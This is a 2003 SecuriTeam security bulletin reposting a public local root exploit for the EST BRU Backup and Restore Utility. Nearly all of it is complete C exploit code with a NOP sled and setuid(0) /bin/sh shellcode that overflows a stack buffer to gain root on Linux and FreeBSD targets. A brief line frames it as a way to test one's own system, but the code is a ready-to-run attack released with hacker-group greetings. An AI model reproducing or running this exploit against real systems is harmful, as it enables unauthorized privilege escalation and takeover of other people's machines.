[EXPL] EST BRU Backup and Restore Utility Local Root Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 07/20/03

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      EST BRU Backup and Restore Utility Local Root Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/unixfocus/5XP0H20AKU.html> BRU Buffer Overflow
    and Format String Vulnerabilities, a vulnerability in BRU allows local
    attackers to gain elevated privileges by either causing the product to
    overflow an internal buffer, or by sending it a buffer that contains a
    format string directive.

    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Exploit:
    /** EST BRU(TM) Backup and Restore Utility Local Root Exploit
     **
     ** By: Dvdman@l33tsecurity.com
     **
     ** Simple Stack overflow Wont say any more :P
     **
     ** Linux & FreeBsd Targets
     **
     ** Greetz:
    sam,flatline,v0id,#!l33tsecurity@efnet,KF,b0iler,schlumpf,kokanin,DSR
     **
     ** Public Release
     ** L33tsecurity 2003; irc.secsup.org #l33tsecurity
     **/

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/errno.h>

    #define FUN "./bru"

    char shellcode[] =
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

     /* SETUID(0) SHELLCODE LINUX */
     "\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"
     "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
     "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x54\x24\x08\x50\x53\x8d"
     "\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

    unsigned long sp(void) {
     __asm__("movl %esp,%eax");
    }

    int main(int argc, char **argv) {

     char buffer[9000];
     int x,target;
     char *env[2];
     char *args[24];
     
     unsigned long ret = 0xbffffffa - strlen(shellcode) - strlen(FUN);

     int *ptr = (int *)(buffer);
     if (argc != 2) {
     usage();
     exit(0);
     }

     target = atoi(argv[1]);
     
     if (target == 0) {
     for (x=0; x<9000 ; x+=4)
     *ptr++ = (ret + 1);
     }

     if (target == 1) {
     for (x=0; x<3500 ; x+=4)
     *ptr++ = 0xbfbffe48;
     }

     /* put in env */
     env[0] = shellcode;
     env[1] = NULL;

     args[0] = FUN;
     args[1] = buffer;
     args[2] = NULL;
     

     execve (args[0], args, env);
     perror ("execve");
    }

    int usage() {
    printf("EST BRU(TM)local root exploit\n");
    printf("By: Dvdman@l33tsecurity.com\n");
    printf("Usage: ./ex_bru target\n");
    printf("TARGET LIST:\n");
    printf("0. LINUX\n1. FREEBSD\n");
    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:Dvdman@l33tsecurity.com>
    Dvdman.

    ========================================

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    ====================
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    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

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